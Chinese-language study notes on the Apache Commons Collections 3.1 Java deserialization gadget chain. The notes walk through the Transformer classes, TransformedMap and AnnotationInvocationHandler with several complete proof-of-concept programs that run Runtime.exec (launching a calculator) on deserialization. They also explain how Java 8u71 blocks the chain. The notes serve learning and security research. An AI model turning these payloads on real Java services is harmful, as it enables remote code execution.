java反序列化Common Collections学习
环境搭建
新建maven项目
在pom.xml中添加
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
实验代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}), // 返回的是getruntime的方法
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
Map innnerMap = new HashMap();
innnerMap.put("value","value");
Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
// 进行序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("evil1.bin"));
outputStream.writeObject(instance);
outputStream.close();
// 模拟后端接受到的序列化后的数据
FileInputStream fi = new FileInputStream("evil1.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
}
Transformer
public interface Transformer {
Object transform(Object var1);
}
传入传出都是一个对象
ConstantTransformer
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
设定一个对象,调用另外两个方法时返沪
InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
对值进行设定,下面的transform方法使用反射修改值,这里可以利用
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口,同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中
分析
InvokerTransformer
前面说到在InvokerTransformer中使用了反射调用,
可以使用如下代码利用
//import java.lang.Runtime
//Runtime.getRuntime().exec("calc.exe");
import org.apache.commons.collections.functors.InvokerTransformer;
public class cctest {
public static void main(String[] args) throws Exception {
//通过构造函数,输入对应格式的参数,对iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
//构造input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//执行
a.transform(input);
}
}
invoke()
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
invoke调用普通方法时,传入的必须是实例化后的类
invoke调用静态方法时,传入类即可
这里利用调用静态方法getRuntime返回一个实例化后的Runtime,然后传入InvokerTransformer中的transform方法中
Runtime类也是单例模式,所以这里我们可以通过getRuntime来获取Runtime对象
寻找内鬼
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class cctest {
public static void main(String[] args) throws Exception {
//模拟攻击
//1.客户端构造序列化payload,使用写入文件模拟发包攻击
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"});
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(a);
//2.服务端从文件中读取payload模拟接受包,然后触发漏洞
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//神奇第一处:服务端需要自主构造恶意input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数input
InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
a_in.transform(input);
}
}
可以看到这里需要很多条件
1.写一个payload ,即服务端要构造恶意的input
2.将反序列化后的对象转换成 InvokerTransformer 类型
3.将条件2的payload作为输入传入transform方法并且执行这个方法
ChainedTransformer
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
将指定的转换器连接在一起的转化器实现。
输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推
具体实现在
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
之后再结合前面的反射就可以实现一个链,接下来就是链的构造了
这里我们需要注意到input.getClass()这个方法使用上的一些区别:
1.当input是一个类的实例对象时,获取到的是这个类
2.当input是一个类时,获取到的是java.lang.Class
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class cctest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
// new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//输入任何不影响返回
chainedTransformer.transform(111);
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(chainedTransformer);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
a_in.transform(obj);
}
}
前面看到过ConstantTransformer输入即返回,所以可以直接获得Runtime类,所以cls即为java.lang.Runtime
这里虽然能弹出计算器,不过马上就会报错,因为这个计算器是在本地弹出的,而不是下面反序列化的过程中
因为Runtime类的定义没有继承Serializable类,所以是不支持反序列化的。
在服务端构造Runtime
这里要使用反射机制来实现
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
调用getMethod(“getRuntime”)即可获得getRuntime的静态方法,调用invoke进行执行,从而返回Runtime实例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
这里的new Object[0]只是占位符号,由于getRuntime函数不需要传入参数所以这里改为null也可以
构造过程
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
获取Runtime
//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class }).invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
//invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//还需要填充 调用getRuntime得到Runtime实例,
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
利用反射获取Method类中的invoke方法,然后利用获取到的invoke方法执行前面获取到的getRuntime静态方法,从而返回Runtime对象
实际上在调用的时候使用的是invoke方法.invoke(input, this.iArgs)
等同于input.invoke(this.iArgs)
用这个代码可以发现,结果是一样的
Method method = Class.forName("java.lang.Runtime").getMethod("getRuntime");
// invoke.invoke(input,..)
Runtime obj = (Runtime) Class.forName("java.lang.reflect.Method").getMethod("invoke", Object.class, Object[].class).invoke(method,new Object[]{null,null});
obj.exec("calc");
// input.invoke(...)
Runtime runtime = (Runtime) method.invoke(null,null);
runtime.exec("calc");
这里贴上大木头师傅的代码示例
// 等效于 ConstantTransformer
Class Constant = Runtime.class; // 直接返回java.lang.Runtime
// 等效于invoker1
Class aClass = Constant.getClass(); // aClass 返回 java.lang.Class
Method method = aClass.getMethod("getMethod",new Class[]{String.class,Class[].class}); // 获取java.lang.class中的getMethod
Object obj1 = method.invoke(Constant,new Object[]{"getRuntime",new Class[0]}); // 根据之前的input 获取Runtime类中的getRuntime并进行返回
// 返回静态方法 Method
System.out.println(obj1);
// 等效于invoker2
Class claz = obj1.getClass(); // 返回的为java.lang.reflect.Method类型,claz 为 reflect.Method
Method method1 = claz.getMethod("invoke", Object.class, Object[].class); // 获取java.lang.reflect.Method 类中的invoke方法
Object obj = method1.invoke(obj1,new Object[]{null,null}); // 调用之前传递过来的getRuntime静态方法,返回实例化后的Runtime
// 等效于invoker3
Class cls = obj.getClass(); // 返回Runtime类
Method method2 = cls.getMethod("exec", String.class); // 反射获取Runtime类中的exec方法
method2.invoke(obj, new Object[]{"open -a Calculator"}); // obj即为实例化后的Runtime对象
// 等效于invoker4
Runtime object = (Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
object.exec("open -a Calculator");
这里的poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
public class cctest {
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);
//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,再调用transform函数
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);
}
}
这里面需要服务端反序列化成ChainedTransformer类型,之后需要调用transform方法
TransformedMap
TransformedMap会对Map进行一个修饰,被修饰之后的map会在添加新元素之后进行一个回调,能分别对key和value进行修饰,当调用put方法时会调用decorate方法中传入类的transformer方法,从而进行触发
按照从上到下的顺序调用
当在调用put方法时
会自动调用transform,这里正好是我们前面需要的
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cctest {
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap);
//2.服务端接受反序列化,出发漏洞
//读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成Map格式,再调用transform函数
Map outerMap_now = (Map)fin.readObject();
//2.1可以直接map添加新值,触发漏洞
//outerMap_now.put("123", "123");
// //2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap_now.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
两种方法都可以触发
第二种的触发点在于Map.Entry.setValue
调用checkSetValue来触发
AnnotationInvocationHandler
漏洞触发条件虽然已经很简单了,但是还需要将反序列化的位置转换为map类型,之后执行put操作
如果能找到一个其readObject方法调用之后会对Map中的数值进行操作的类 这样就可以在调用readobject之后就会直接触发
sun.reflect.annotation.AnnotationInvocationHandler
看下他的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
this.type = var1;//传入的var1到this.type
this.memberValues = var2;//我们的map传入this.memberValues
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
这里会把我们传入的map传递给memberValues
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
//默认反序列化
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();//
Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//遍历map迭代器
String var6 = (String)var5.getKey();//获取key的名称
Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
if (var7 != null) {
Object var8 = var5.getValue();//获取map的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
这里会遍历memberValues,获取var2中相应key的class类,如果不为空则调用setValue从而触发
利用反射获取AnnotationInvocationHandler,并且利用构造器进行实例化
由于AnnotationInvocationHandler的构造函数,需要参数的传入,所以需要传入 Class.class 和 Map.class
利用newInstance进行AnnotationInvocationHandler类的实例化,由于在构造函数中利用范型规定来传入的Class类型必须要继承自注解(Annotation) 所以我们在newInstance需要传入注解,Poc里传入的是元注解(Target.class)
这里有个问题,在poc里面传入的是value-value,为什么换成别的就不行
注解
Target.class其实是java提供的的元注解(因为是注解所以之后写成特有的形式@Target)。除此之外还有@Retention、@Documented、@Inherited,所谓元注解就是标记其他注解的注解。
@Target 用来约束注解可以应用的地方(如方法、类或字段)
@Retention用来约束注解的生命周期,分别有三个值,源码级别(source),类文件级别(class)或者运行时级别(runtime)
@Documented 被修饰的注解会生成到javadoc中
@Inherited 可以让注解被继承,但这并不是真的继承,只是通过使用@Inherited,可以让子类Class对象使用getAnnotations()获取父类被@Inherited修饰的注解
除此之外注解还可以有注解元素(等同于赋值)。
举个自定义注解的例子:
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
String name() default "";//default是默认值
}
它会被这样使用:
@DBTable(name = "MEMBER")
public class Member {
}
由于赋值的时候总是用 注解元素 = 值的形式太麻烦了,出现了 value 这个偷懒的语法糖。(这也是为什么之前的@Target(ElementType.TYPE)不是注解元素 = 值的形式)
如果注解元素为value时,就不需要用注解元素 = 值的形式,而是直接写入值就可以赋值为value。
除此之外java还有一些内置注解:
@Override:用于标明此方法覆盖了父类的方法
@Deprecated:用于标明已经过时的方法或类
@SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告
回过头来看看java.lang.annotation.Target:
@Documented//会被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Target {
ElementType[] value();//注解元素,一个特定的value语法糖,可以省点力气
}
debug
首先会将注解传入this.type
之后AnnotationType.getInstance获取基本信息
var3就是一个注解元素的键值对value这个注解元素,可以取值Ljava.lang.annotation.ElementType类型的值
之后var6就是我们传入的值,var7从注解中获取var6的key值
所以就是我们传入的key必须要和注解的值相同
1.8中不同
在Java 8u71之后代码发生了变动。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
//很伤心的,没有了map赋值语句
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
//省略不重要...
}
这里面对于原本的map即var9没有进行put或者setValue操作,新建了一个LinkedHashMap,所以漏洞无法触发
参考了不少的文章,也渐渐了解到了java反射,利用链的一些知识,只能说利用链构造的真的精妙,
参考文章
https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#38d15054
https://xz.aliyun.com/t/7031#toc-5